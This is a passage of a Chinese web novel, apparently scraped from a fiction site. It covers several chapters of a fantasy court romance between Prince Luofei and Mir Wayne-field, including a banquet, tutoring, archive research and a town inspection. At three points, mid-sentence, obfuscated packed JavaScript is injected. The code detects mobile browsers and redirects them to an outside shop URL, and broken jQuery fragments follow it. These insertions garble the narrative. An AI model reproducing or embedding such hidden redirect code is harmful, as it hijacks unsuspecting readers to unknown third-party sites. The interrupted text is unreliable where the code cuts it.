到后面,轻快过了头,步子就乱了。等洛斐回过神,米尔的鞋子已经多了几道痕迹。 本就愧疚和迷糊,米尔一追问,那句话就脱口而出了。 米尔愣了愣,抬眸看向说完这句话,面色如旧的洛斐,轻笑着问:“是吗?” 话音刚落,舞曲即将结束,米尔借着最后的旋转顺势靠向他脖颈。 极轻极淡地闻了闻。 “洛斐殿下,也很香呢。” 随口一说,米尔却一脸认真地回答,洛斐倒是先不自在起来,抬手捂了捂发烫的耳根,吞吞吐吐地说:“你……用什么味道的香皂?” 米尔抬起袖口,嗅了嗅,语气认真,“玫瑰花香。” 此时此刻,米尔怎么也该羞怯地垂眸才对,退一步来讲,两人也该谁也不该看谁,避免尴尬,怎么也不能像平时闲聊那样从容。 米尔却平静得不像话。 就像是伴侣间打趣一样自然。 洛斐一时语塞,好一会只能说了句:“玫瑰花香?有……那么好闻吗?”如若不是维伦来和他们搭话,这场谈论大概会以米尔认真解释玫瑰花香皂而结束。 “洛斐殿下,韦恩菲尔德大人,感谢你们的到来。”维伦穿过人群,快步走来,躬身行礼,态度依旧谦和温煦。 洛斐微微颔首。 赛维恩家族向来喜铺张,看重颜面,将体统和排场看得比什么都重要,如今看来也许能改变了。 “多亏了殿下与韦恩菲尔德大人的帮助,才有了今日这场宴会。”维伦看向二楼,内容是抱歉,语气却抑制不住地带着淡淡喜悦,“这次的宴会简陋也特殊,怕是无法尽兴。” “静也有静的好处。”米尔看向洛斐,顺势将话抛给对方,问:“不是吗?殿下。” 洛斐愣了愣,看着神色淡然的米尔,叹口气说:“是的,维……赛维恩公爵,这样安静的祈福宴会对我来说是难得的清闲。” “那我就放心了。”维伦说完朝洛斐微微欠身。 洛斐原以为他是刚继承爵位,有事情询问他,正神色郑重地等待着。谁知维伦却转向了米尔,“韦恩菲尔德大人,可以去露台谈谈吗?” “好。”米尔点头。 洛斐站在原地,抿了抿唇,坐回了椅子,手中的饮品无滋无味,目光在宴会厅里扫视了一圈,最后还是落在了露台。 从他的视线望去,米尔正静静地听着维伦讲话,低头看向露台下的庄园花坛,神色淡淡的,看不出什么情绪起伏。 既不懊恼也不高兴。 看起来,也没什么要紧事,洛斐这样想着,视线依然停留在露台,直到维伦上了二楼看望安铎,洛斐才得了机会,快步走向依旧低头发呆的米尔。 洛斐清了清嗓子。 米尔没回头。 洛斐微微蹙眉,走近米尔身旁,扣了扣铁制的栏杆。 米尔头也没抬,“不去跳舞或者坐着歇一歇?” “不歇了,只是看维伦离开,怕你忘记回去。”洛斐顺着他的视线往下望,不过是一处普通的花坛,种植的也不是艾瑟兰最动人的花,“看什么呢,盯得那么认真?” “鲜花。”米尔语气带着少见的黯然和忧伤,“赛维恩庄园的花很娇艳。” 洛斐凑到他眼前,微微偏着头,轻声问他:“米尔,你是不是想家了?” 露希恩王国是个奇怪的地方。锋利危险的武器冠绝天下,温柔无害的花朵也开得极好。 洛斐一开始就看出来了,谁会因为看到花坛而难过,只会是睹物思情,触景生情。 “如果真的想家了,我可以陪你。”洛斐看着那双低垂的眼眸,继续道:“陪你去露希恩王国的旧址,或者是汐莱纳希王国。” “艾瑟兰王国的王子陪我重回旧国,怕是不妥当。” “很妥当。”洛斐顿了顿,像是不知道该用什么词,最后认真地开口:“你是我玩伴,陪伴你也是我应该做的。况且,艾瑟兰王国如果真的礼法森严,怎么会允许维伦公爵和韦恩菲尔德大人,将王子独自抛在宴会厅里?” 语气里满是幽怨。 米尔唇角一弯,转了头,盯着他看了一会,轻声说了句,“我们回去,殿下。” “回去?去露希恩还是汐莱纳希?”洛斐不解地问。尽管艾瑟兰国风开明,崇尚自由,但身为王子也不能说走就走。 “如果着急的话,给我一天的时间,明天就能回去。” 米尔转身,见洛斐还在原地急急忙忙地解释,叹了口气,“你误会了,是回温斯洛的城堡。” “殿下放心,不管是露希恩还是汐莱纳希,以后都会有机会同去的,现在最重要的是先回去睡觉。” “你很困倦吗?”洛斐跟上去。 “不。” “回去这么着急,是要做什么吗?” “回去睡觉。”米尔随口说。 “……” 一个常年失眠的人,倒是催着要回去睡觉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552563|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' —— “殿下,韦恩菲尔德大人并不在剑术场,也不在训练场,靶场也……不在。”埃迪压低声线向洛斐报告,身旁是一群伸着脑袋看热闹的年轻骑士。 本来是训练骑士的,现在却做起了帮王子盯梢的活,属实不伦不类。 “不在?”洛斐把玩着剑柄,漫不经心地反问。 明明先前说好了,忙完一段时间就得闲了,结果冬日快走了,春日都要来了,所有人都闲了,米尔却忙了。 “我知道!”躲在阴凉处偷懒的见习骑士举起手,大声道:“殿下,我见到韦恩菲尔德大人朝议事厅那边去了。” 洛斐听完,转身朝议事厅的方向走去,只剩下那位年轻骑士杵在原地,被一道道目光扎得浑身不自在。 早知道不说了,还能趁机多歇会。 一旁的埃迪却截然相反,下意识地松口气,终于将磨人的王子送到米尔身边了,转身朝懒散的骑士们说道:“开始训练!” 春日的艾瑟兰最是舒适,万物复苏,四处飘扬着新生的气息。 连常年忙于训练和课程的洛斐,也因导师返乡而得了几日短暂的假期。 除了米尔不知所踪,其余的一切都令人愉悦。 只是忽然想起来,洛斐的步伐就轻快不少,不疾不徐地走到议事厅门口,随口让负责看守的侍从们去歇着,抬手推门准备直接进去。 “米尔·韦恩菲尔德,你不能去,我们答应过你的母亲,绝不会让你涉险。” “陛下,这也是我母亲的遗愿,不是用危险与否能衡量的。” “米尔,你总是将自己置于险境做什么?明明会有更好的解决办法。” “……” 洛斐推门进去的时候,议事厅里那股剑拔弩张的气势仍未消减。 莱因哈特国王和米尔谁都没有因为洛斐的到来而停歇,依旧互相争执,只是话题有了偏转,和洛斐在门外无意间听到的大相径庭。 “即使是布雷克伍平原的春讯,也不许你插手。”莱因哈特神情严肃地叮嘱米尔。 洛斐站在一旁,瞥见米尔的神色不对劲,转身向莱因哈特说:“父王,我来的不巧,打扰你们了吗?” 莱因哈特坐回雕花高背椅,看向神清气爽的洛斐,扶着额头说:“不好好地上课,突然跑来议事厅做什么?” “只是导师返乡,我得了几日假期,课程和训练全都停了。”洛斐说完,停了一下,语气骤然低了下去,带着几分苦恼,“若说真有什么事,就是没了导师指导,我做训练和课程都很力不从心。” 莱因哈特皱了皱眉,头一回见儿子说话这般隐晦,不似平日有话直说地逞强性子,不解地问:“你想说什么?” 洛斐微微靠向米尔,目光落在他垂下的眼眸上,话却是对着莱因哈特说的,“我想和韦恩菲尔德大人一起。” 顿时,议事厅内一片寂静。 “什么?”莱因哈特好一会才反问。 “我邀请米尔做我的导师,指导我训练和课程。”洛斐耐着性子说了一遍。 莱因哈特知道洛斐难以招架的性子,又清楚他们不和也不是一时半会的了,果断地拒绝,“不行,我会给你安排新的导师。” 一直沉默不语的米尔忽然起身行礼道:“陛下,若洛斐殿下愿意。我可以从旁协助,只是称不上导师。” 洛斐转头看向他,语调微微上扬,“我愿意,我的荣幸。” 12. 夜晚 “你们能行吗?”莱因哈特不放心地看向洛斐。 让米尔留在温斯洛协助洛斐,总比他成日里想着往险地跑要好,也能帮洛斐提升能力,倒是个两全其美的法子。 “父王,我是性格顽劣,但我的实力您还不清楚吗?”洛斐走到米尔的身后,摸了摸他后腰腰带内侧的折刀,认真地说:“我可不是米尔的对手。” 米尔偏着头看向洛斐,淡淡地向莱因哈特说:“陛下,能指导殿下,我很荣幸。” 米尔说得坚决,语气笃定而自然。洛斐安静地站在一边,罕见地展露出乖巧的模样。他们都没有异议,莱因哈特也不好再冷言反驳,摆摆手,“你们决定就好。” 洛斐得偿所愿,朝着莱因哈特说了句,“谢谢父王,我带着米尔导师先走了。”说完便拽着米尔的袖口朝外边走,方才的好言好语荡然无存,只剩下随性而为。 莱因哈特看着远去的两人,暗暗叹气。本是天生绝配,可别成了水火不容。 —— 洛斐一路点头,回应着身边侍从们的问候,又朝面前走个不停的米尔喊道:“米尔,你走慢点。” “课程和训练明日才能开始。”洛斐说完,见米尔真的放缓了脚步,干脆地跑到对方身边,并排行走。 身旁的人像是滚烫的火炉,紧紧贴着不留缝隙,米尔只能微微抬着肩膀,最后彻底停住了,偏过头问:“你想做什么?” 米尔的语气里压着薄怒,洛斐听得一怔,不明所以地说:“负责我训练和课程的导师休假了,邀请你做我导师……” “不是这个。” 洛斐愣了愣。 “你不是想参与布雷克伍平原水患治理吗?近几年都是我在负责。”洛斐压低声线,“做我的导师,我可以帮你。治理水患虽能站稳脚跟,但绝不是简单轻松的事情。” “站稳脚跟?”米尔皱了皱眉。 “不要伪装了,我听到你和父王的对话了。”洛斐摸了摸剑柄,为刚才的偷听感到羞愧,垂眸问:“你不是想参与布雷克伍的春讯吗?但是国王拒绝了。我说,我可以帮你。” 洛斐想象中的喜悦并未出现在米尔脸上。米尔反而急切地追问:“只听见了春讯?” 洛斐郑重地点点头,他先前不清楚是否是米尔,就没有走近去听。 “多谢殿下的良苦用心,春讯的事,以后再说。”米尔的语气淡了下去,转而开口驱赶起洛斐,“殿下,请回吧。明天我会依照你的课程和训练表,准时指导你。” 语气又变得疏离了。 真是猜不透米尔的心。 洛斐忍不住问:“你最近很忙吗?不是说那段时间过后就清闲了吗?每次来都不在,连会客的时间也没有吗?” “不忙。”米尔看向远处的房间,“殿下可以随时来拜访。” “我现在就要去。” “现在不行。” “……今晚。” “不行。” “……明早?” “不行。” “……”洛斐听着一连串毫不犹豫的回绝,闷声道:“直接说不要来拜访就行了。” 又是这幅委屈模样。 “如果殿下方便的话,一起来房间,喝杯茶。”米尔叹口气,喊着洛斐回房间。 虽然对方照例回错了意思,但说来说去,至少都是为了他好。 直截了当地将人赶走确实不太像话。 当然,话虽是这么说,但米尔还是更想静静地待着。 “太晚了,如果殿下不方便也没……” “这些植株先前看着了无生机,奄奄一息的,怎么又活起来了?”米尔话音刚落,洛斐已经窜到窗边,伸手去拨弄刚被米尔救活的植株。 “你没来,它们就起死回生了。”米尔随口说。 “……”洛斐略带幽怨地看了米尔一眼。 米尔成为洛斐导师的首日,对方就赖在他房间,殷勤地给十五盆植株逐一浇透。 结果,成功涝死了十盆。 赖在房内,怎么也赶不走。米尔忍忍也就罢了。没想到开始训练和课程后,洛斐变本加厉,恨不得将他的房间据为己有,哪怕是用餐休息也跟着。 白日里指导繁重的训练和课程,夜晚里那张让他劳累的脸依然在眼前晃悠。 直到课程结束,米尔始终摸不清洛斐性情大变的缘由,只是在正牌导师返乡回来的次日卸了担子,闷在屋内不出来。 艾瑟兰的初春依旧带着冬日的凉,入夜后格外明显。洛斐拢了拢衣领,漫不经心地问夜晚值班的侍从,“米尔呢?” “殿下,韦恩菲尔德大人去了议事厅,随后便回房了。”侍从们微微抬眼,看着洛斐。 洛斐小时候偏爱在夜晚游荡,恰好被前来议事的公爵们撞见,就跑去莱因哈特那边告了一状,结果洛斐就被严格管控了。 成年后,莱因哈特不再严格要求,夜晚重新获得自由,但这份自由不包括深夜去打扰米尔。 “是吗?是很晚了。”洛斐伸着懒腰,转身说:“你们也回去休息,夜晚凉气很重,不用守在这里。” 侍从们面面相觑,见洛斐真关上了门,纷纷低头道:“是,殿下。” 这边侍从们前脚回去,洛斐后脚便开了门,探出脑袋望向众人离开的方向。 直到最后一个黑影消失在长廊尽头,洛斐才彻底敞开了门,斜倚着门框。 “抱歉了,夜晚可不能用来浪费。”洛斐低声自语,转身走向屋内,仔细地穿好衣服,拿起早早准备好的食物,朝长廊深处走。 长廊两侧的壁灯长久地亮着,洛斐熟练地走到米尔门前,轻敲了下门板。 米尔没回答。 洛斐往后退了几步,看了眼房内透出来的光。 又敲了敲。 依旧没动静。 不会是因为陪伴他训练上课,夜晚又照常失眠,睡不着,结果体力不支晕倒了? 洛斐思来想去,目光落在米尔的房门上,迟疑了一会,最后还是推开了门。 “米尔,失礼了,我看你一直不开门就先进来了。”洛斐进门便说。回应他的依旧是一阵安静。 结果又是一阵无人应答。 洛斐微微抬眸,凌乱的房内不由得让他一怔。 米尔虽对房内布置随性惯了,但向来是整洁干净的,眼下的卧房却像是小白住的马厩。 书本乱扔,椅子歪七扭八地倒着,植株张着干枯的叶子。 洛斐忍不住后退着,皱了皱眉。 城堡也能进窃贼吗? “米尔?”洛斐小心地越过遍地皆是的书籍,顺手捡起来几本摆在一边,将东倒西歪的椅子摆正,轻声喊:“米尔,你在吗?” 来没来窃贼姑且不讲,但恨不能长在卧房的米尔深夜能去哪里? 洛斐喊了几句,正要出门唤守卫,忽然听到帷幔后方传来窸窸窣窣的声音,像是小老鼠奋力啃咬书页。 洛斐满腹疑虑地走近小露台,抬手掀起帷幔的一边,漆黑的狭小空间可视度极低,试探地朝里面小声喊:“米尔?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557020|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 突如其来的声音让米尔微微一颤,抬起头,膝盖上的纸张顺势滑落在地,茫然地问:“洛斐?你怎么进来了?” 洛斐见米尔被强光刺得微微眯起眼,便将帷幔重新合上,弯腰捡起掉落的纸,递给米尔:“我是来给你送……” “莱因哈特国王同意了。”米尔抢先开口。 洛斐不明所以地问:“同意什么?” 换米尔愣住不解了。 洛斐坐在露台的外侧,看着眼前挂着当艾瑟兰档案馆标识的纸,问面前抱膝坐着的米尔:“你去了档案馆?” “是的。”米尔低头,认真翻阅着找来的资料。 “我是来给你送新点心的,顺便看看你睡着了吗?你没回答,就先进门了。”洛斐说完,偏着头,看了一眼米尔抱着的资料。 看着像是艾瑟兰王国历年的赛事记录和邀请函,没什么要紧的内容。 甚至不需要通过莱因哈特的同意也能随意翻阅的程度。 洛斐随手拿起一张,是前国王在世时的旧物。他看了看,是一份武器和器械比赛的赛事记录和报告,问米尔:“你失眠严重到需要看这种东西催眠了吗?” “不是的,我在找大概十年前的一场武器兵器竞演。”米尔脱口而出。 十年前?武器竞演? 洛斐垂下眼,细细地看了一遍,将手里那份递出去,说:“是这份?” 米尔半信半疑地接过来,看了一会,熟悉的名字和时间映入眼帘,语气惊喜,“是这份。” 洛斐抬了抬坐麻的腿,懒懒地说:“找到了就快去休息。” “殿下不问问我为什么要找这份纸吗?”米尔低声说着,转身走向书桌。 “不问。”洛斐摸了摸装满点心的碟子,将还有余温的一份推到米尔面前,说:“问了你也不肯说,懒得问了。” “殿下这样的心性,怕是王国拱手被人夺走了,你还在帮别人数钱。”米尔尝了口洛斐带来的点心,漫不经心地调侃。 洛斐愣了愣,幽幽地说:“王国真到了你手里,你连数钱也不会让我数。” “你说什么?”米尔端起茶杯抿了一口,抬眼看过来。 “什么也没说。” 洛斐说完,扫了眼满屋狼藉,着实忍不了,顺手打扫起来。 而米尔则是低头对着一份赛事记录,开始写写画画。 洛斐将最后一把椅子摆好时,一旁沉思的米尔忽然问:“艾瑟兰经常举办武器类的赛事吗?” 洛斐坐在米尔对面,想了想,开口道:“以前很多,露希……那边战争爆发后,艾瑟兰对此管得严格了,也很少举办了。” 洛斐见米尔神情严肃,盯着面前数百张邀请函。 “先前全国对武器制造和使用很重视,也会邀请顶尖的高手来艾瑟兰交流。”洛斐适时地开口解释。 米尔借着烛光看了好一会,摸了摸邀请函里面唯一没有徽章的那张,开口问:“受邀的武器高手中,会有在途中遭遇危险的可能吗?” “……怕是无法避免。”洛斐说得不肯定,哪怕相信艾瑟兰的治安,但善恶也不能贸然断定。 洛斐话音刚落,米尔将那份档案放在一边,像是卸下了重担。 神情复杂,像是有所收获,又像是白忙活,洛斐抬眸,谨慎地问:“还是和那张图纸有关吗?” 米尔没有回答,只是垂下眼,停留良久。再抬起头时,那双黑眸定定地望着洛斐,像是不掺杂一点杂质。 “你会和我去汐莱纳希吗?” 13. 忘不了 “会。”洛斐说得认真,怕米尔不相信,郑重地开口:“汐莱纳希,露希恩或者其他国家都可以和你一起去。我走访过周边很多国家,不管是指路,还是办事,都还算熟悉。” “好。”米尔拎起一旁的外衣,朝神情严肃的洛斐说:“去汐莱纳希。” 洛斐猛地抬起头,转头看向无边的茫茫黑夜,问:“现在?” 米尔神色认真地点头。 洛斐思考着接下来要办的事务,能拖得拖,能推得推,倒也能空出来一点时间,何况汐莱纳希的距离并不远,他撑着椅背起身,说“好,我去备车。” 洛斐下了莫大的决心,米尔却重新坐回椅子,笑意盈盈地盯着他。 洛斐顿时明白了。 米尔又逗他玩。 “失礼了。”米尔收起笑,语气渐渐地淡了下来,“汐莱纳希会去,但不是现在。我寻找的这些档案都与你所知道的那张图纸有关。” “它是我一位长辈的旧物。”米尔抬头看向洛斐,继续道:“他早年曾受邀来艾瑟兰参加赛事,却未能到场,图纸也因此失了踪迹。后来听维伦说起,又有了这张图纸的印证,大约又回到了汐莱纳希。” “图纸没有特别重要的内容,不过是记录了琐碎的武器零件。”米尔轻声说:“费力找到它也只是为了情怀。” 米尔目光躲闪,一会喝茶,一会拿起点心又放下。洛斐一眼便看出他话里有假,至少不全是真话。 “去的时候,别忘记我。”洛斐专注地听着,不追问。 米尔说了什么,就听什么。 不全是真话但也不会全是假话。 愿意开口,就是信他。 “不会忘记你。” 米尔将手边的物件摆好,抬头说:“更何况,你不是要去巡访吗?一时半会也不得闲。” “你也知道?”洛斐诧异于米尔对他的行踪了解得如此清晰,转而没好气地抱怨道:“只是去王国内的城镇转一转,做个好看的摆设,还有可能会遭人厌烦。” “厌烦?” 洛斐撇了撇嘴,懒懒地说:“上次,只是没和一位夫人握手,就结结实实地挨了她一记面包。” “脑袋吗?” “……后臀。” “……”米尔撑着桌边,笑够了,“至少证明了,你的魅力很大。” “别笑了,你和我一起去。”洛斐低垂着视线,摸了摸袖口,“去保护我。” 洛斐鲜少软言软语地提出要求,米尔却摇摇头,“恐怕不行。” “这种场合,我去怕是不合适。”米尔抿口茶,冷静自若地解释。 洛斐挑眉,“真的?” “……我也需要休息。”米尔放下茶杯,带着愧色地移开视线。 “你好好歇一歇,……对了,当心着凉。”洛斐走到帷幔后,抬手扣了扣窗框,当着米尔的面将窗户合上,“不要总是吹凉风。” “春日着凉,可不是小事。” 米尔仰在椅子里,朝洛斐淡淡地笑道:“殿下请放心,我鲜少生病。” 话音未落,米尔就轻轻地咳了一下。洛斐立刻回头紧张地看向他,一副你看我说对的表情。 “档案的灰尘呛到了。”米尔抬头解释,一边嘱咐洛斐,“殿下还是先回去睡觉,免得耽误了明日的巡访。” “知道了,你又不指导我训练,担心那么多做什么。”洛斐顿了顿,说:“巡访大概需要半月,我会有点忙,无法随时回温斯洛……你别跑去汐莱纳希。” “不会独自去的。”米尔轻描淡写地说:“回来后,重新陪你去上课和训练。” “你还是好好歇着。”洛斐丢下一句话,头也不回地径直走向门口。 木门打开的前一秒,洛斐忽然转头说:“别忘了,我半个月后回来,记得先去剑术场和靶场。” 米尔愣了愣,而后点了点头,“忘不了。” 洛斐千叮咛万嘱咐地回了卧房,尽管入睡很晚,但洛斐第二日难得地神采奕奕,精神焕发。 此番国王交代巡访的城镇就在周边,巡访的路程不远。 随行人员也只有埃迪和几名骑士,洛斐就自行定夺,不备马车了,骑马往莱因哈特指定的小镇跑去。 “殿下今日的精神不错。”埃迪策马跟上,小声道。 “嗯。”洛斐没有多说什么,余光看了眼周边浓密的树林,随口问:“国王怎么只选了这一个城镇?” 以往的巡访大概是区域内的全部城镇,少说也得将半个月的时间排得满满当当。 断不会像眼前这般空荡。 埃迪停了好一会,试探地回了句,“可能是国王心疼殿下,不愿看您劳累。” “你信吗?” “……”埃迪不再斟酌语句,“也许是陛下怕您再次遭到面包的袭击。” “……再提起来的话,你就回城堡,去花园种树。”洛斐扯了扯嘴角,皮笑肉不笑。 “好的。”埃迪默默地拉开距离,又正色道:“但是我确实有看见陛下夜晚挑选城镇,比以往都要用心。” “是吗?”洛斐扬起眉,“那必须格外慎重了。” 巡访的目的地是依山傍水的偏僻小镇,映入眼帘的就是如画般的风景。 “该带米尔来看看的。”洛斐迎着凉风,喃喃道。 “殿下,您说什么?”圆脸红鼻子的镇客客气气地问:“是拥挤的人群让您不舒服吗?” “恰恰相反,你们的热情让我很高兴。”洛斐摇摇头,轻声说:“请继续讲。” 艾瑟兰王国的国土面积大,各个区域的民风大为不同。 当地子民难免起冲突,洛斐既然碰到了就会尽力处理,结果一日结束也无法了解多少城镇情况,脑子里全是子民们的吵闹。 这次的偏僻小镇算是例外。 哪怕语言和样貌可以看出不同的风土人情,但子民们之间相处得极其和睦融洽。 “殿下,小镇今年的收成尚可,堤坝也加固了,唯一的问题是东边的磨坊的水轮坏了,正在修着……” 镇长圆圆的脸蛋和眼睛,不见半分以往镇长的精明模样,说得内容也有理有据,直中要点,不会敷衍搪塞。 “很好。”洛斐淡淡地说,一边的人们握手致意。 他仍想不通父王为何偏偏选中这座小镇,总觉得不会是巧合。 将小镇情况梳理清楚后,洛斐第一次在完成任务时感受到了难得的清闲。 只可惜,闲逛的目的未达成,洛斐就被镇长邀请去小镇上的特色铺子用餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566557|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了。 铺子虽不大,内里却一应俱全,各地风味的饭菜都能找到。 “味道很不错。”洛斐言简意赅地称赞了一句,目光却越过笑意盈盈的镇长,落在了他身后的墙壁上。 镇长顺着他的视线望过去。 一张泛黄的装饰图纸。 “您要看吗?”镇长犹豫地询问,怕唐突了又怕怠慢了。 “如果方便的话,我想看看。”洛斐说。 镇长连忙将图纸扯下来,小心翼翼地递给洛斐。 洛斐仔细地端详着。 刚才他只是看到了武器图纸,顺其自然地想到了米尔,面对镇长的询问也是脱口而出地答应。 眼下才真正地看见艾琳娜夫人的署名。 洛斐抬头看向茫然的镇长,问:“这是?” “殿下,这是艾琳娜夫人的作品。”镇长喘了口气,接着说:“她当年路过这里时画的,留给了这里的店主。” “艾琳娜夫人来过这里?”洛斐问道。 他向来知道父王和母后与艾琳娜夫人相识,却一直以为是两国邦交使然,恰逢其会罢了。 现在看来,不仅仅是米尔有所隐瞒,连他的父王和母后也没全盘托出。 “是的,居住了一段时间。”镇长看不懂这张图纸有什么奥秘,只当是简单道具的图纸,起不到大用处。但他看到洛斐如此在意,依旧开口解释:“这铺子先前的主人和艾琳娜夫人是旧相识,当年夫人路过此地就住了一段时间。” “殿下放心,这只是简单道具的图纸,随处可见,并不是危……”镇长语速快了起来,急促地解释。 洛斐见状,将一旁的水杯推到镇长眼前,安抚道:“你不必慌张,我只是好奇罢了。” “我的朋友,喜爱收集艾琳娜夫人的武器图纸。”洛斐说完,抬眸看向镇长,语气里带着惋惜,“可惜流传下来的却很少,所以刚才看到难免激动,吓到你了,失态了。” 镇长微微松了口气,见洛斐说了最长的一句话,“稍后我替殿下问问,看能否赠予您。” “谢谢你。”洛斐满意地颔首。 “殿下,不必客气。” 小镇的风景虽是清新宜人,但洛斐依旧待了不到半月。一是任务完成就不必久待,二是洛斐急切地想询问米尔。 这张图纸是不是真品,既然来过艾瑟兰王国,为何从来没提及。 将带来的物资留在小镇,他们马不停蹄地回到城堡,照例先到莱因哈特国王那里禀报情况,而后撰写报告。 “回来了?”莱因哈特埋首批阅公务,头也没抬地问。 “嗯。”洛斐懒懒地回答,见议事厅没有其他人,便懒洋洋地窝回椅子里。 “有收获吗?”莱因哈特抬眼问。 洛斐怔了怔,说:“小镇的地理位置虽好,但堤坝却很难守住,今年春讯,此地是重要地点。” “长大了。”莱因哈特站起身,走到他跟前,嘱咐道:“让你看看,是为了日后做事有准备。公务一定要用心对待。你也少去打扰米尔,他最近病了,要安心养病,你把时间花在训练……” 莱因哈特教导的话说到一半,面前的椅子已经空空如也。他抬眼问道:“你去哪?” “给人看病。” 14. 你病了? “你是医师吗?”莱因哈特朝即将跨出门的洛斐喊道:“你怎么给米尔看病?” “您别管了。”洛斐懒懒地应了一声,“放心好了,公务我不会松懈。” “你每日缠着米尔做什么?” “玩。”洛斐丢下一个字,转身出了门。 才半个月没回来,城堡就有了变化,尤其是米尔居住的区域,常年透着黑漆漆的卧房也破天荒地开了门。 “米尔?”洛斐微微探着半边身子,朝里望去,映入眼帘的是稍显散乱的卧房,床头的软毯堆砌,床铺中间突兀地鼓了起来。 洛斐咬了咬后槽牙。 不爱收拾也不允许侍从们来打扫。 真是古怪。 床铺中间适时地拱了拱,洛斐看过去,那鼓包又缓缓地消了下去。 生病了,房间凌乱点也正常,总不能拖着病体打扫卧房。 洛斐叹口气,耐心说服了自己,强忍着收拾的冲动,轻手轻脚地走到米尔床边。 “我回来了。”洛斐看向鼓包,垂眸道。 “呜呜呜……” 洛斐微微一愣,“你病得那么严重?”他手臂撑着膝盖,轻轻地拍了拍毛毯。 软软的,圆圆的,毛绒绒的? 洛斐皱了皱眉,伸手想要拉开看看米尔的状况,怎么像是病入膏肓的样子,连摸起来的手感都变了。 “殿下,你回来了?”一道熟悉的声音从门口传来,洛斐本能地回过头去。 米尔正端着一小碟茶点,站在卧房门口,满脸不解地望着他。 洛斐看了看面前的床铺,鼓包下面的东西依旧不停地拱动,大有跑出来的架势。 洛斐猛地起身,径直退到米尔身边,问他:“你把什么东西放进来了?” 米尔放下碟子,“东西?” 洛斐往前指了指,“你毯子下面会拱的东西。” 米尔也盯着突如其来的鼓包看了好一会,表情复杂地看向身后的洛斐,而后走到床边,轻轻地将毯子下的东西抱了出来。 四目相对,皆是金色。 一只通体发黑,唯有眼睛是浅金色的猫咪,正乖巧地蹭着米尔的手指,愣愣地盯着吵它美梦的洛斐。 “你又养了只猫?”洛斐仔细端详,“小白一匹马还不够你照顾吗?” “况且,你怎么还能劳心费神地养猫?你不是病了?” 米尔将黑猫安稳地放下,淡淡地说:“殿下,我是病了。但也不是不能动了。” “它脾性温和,也很乖,夜里经常来蹭吃蹭住,我索性敞开了门,方便它常来玩。” 米尔安抚地揉了揉它的脑袋,那猫咪温顺地“喵”了一声,慢悠悠地走开了。 洛斐走向唯一的空椅子,坐了下来,看向米尔,“你的病还没好。” 洛斐转身看了眼猫咪蜷缩睡觉的模样,随口道:“先把它放我那里,等你好了再送回来。” 米尔抬眸道:“殿下,小黑怕生。” “……”洛斐扯了扯嘴角,一字一句地说:“小白也怕生,它也是我每日喂食才养熟的。” 米尔知道洛斐对动物向来心细且极其有耐心,只是说了句“麻烦了”就默许答应了。 “你……”解决完猫咪的问题,洛斐表情复杂,话到嘴边又咽了回去。 米尔瞥见他坐姿不似平常那般懒散,一副欲言又止的样子,不解地歪了歪头,“要问什么?” “你有没有……”洛斐说着,往腰间摸去,携带的图纸没有掏出来,就听见米尔轻咳了起来,低着头,肩膀轻颤。 洛斐收回手,“……时间?明日和我一起去一个地方。” 询问顺势变成了肯定句。 米尔愣了一瞬,继而揉了揉酸痛的脖颈,笑着说:“如果是剑术场和靶场的话,我本来就答应了你,既然说了就会去的。” “不是。” “是医所。” 米尔知道洛斐是想带他去看病,开口解释:“殿下不必担心,只是没睡好引发旧疾罢了,早习惯了,不妨碍陪你的训练。” “你怎么能替你的身体习惯疾病?”米尔看来,洛斐认真地开始胡言乱语,“如果你感到痛苦了,那是身体对你的求救,你不理它就算了,还不允许它来找我?” 时间久了,米尔勉强能搞懂洛斐一小部分语言,试探着问:“一起去?” 米尔答应去看病,洛斐的目的达成。他慢悠悠地坐回去,倚着椅背,淡淡道:“那证明你姑且算是个善待身体的好主人。” “……”米尔深深叹口气,语气淡淡,“既然定好了时间,殿下就请回去继续和国王汇报好了。” 洛斐皱了皱眉,“汇报?回去做什么?你简单收拾一下我们直接去医所。” “明日的行程,为什么今天就动身?”米尔不明所以地问。 “你理解错了。是明日抵达,不是明日启程。因为那里稍微有些……”洛斐语气停顿,“遥远。” “遥远?” “是,地方略微偏远。” 偏远就偏远点。先前说好陪洛斐完成训练和课程,如今却换成了陪自己来看病。 哪怕是去再远的地方,米尔也不会出言推拒。 更何况艾瑟兰国势均一,疆域虽辽阔却治理有方,十之八九的偏远地点,也不过是边郊的城镇。 洛斐偏偏找到了十之一二的地方。 浓密的树林唯一一条小道,周遭的树枝与藤蔓肆意张扬,挡着眼前路,脚底的土壤潮湿松软,好似深深地将人吸住。 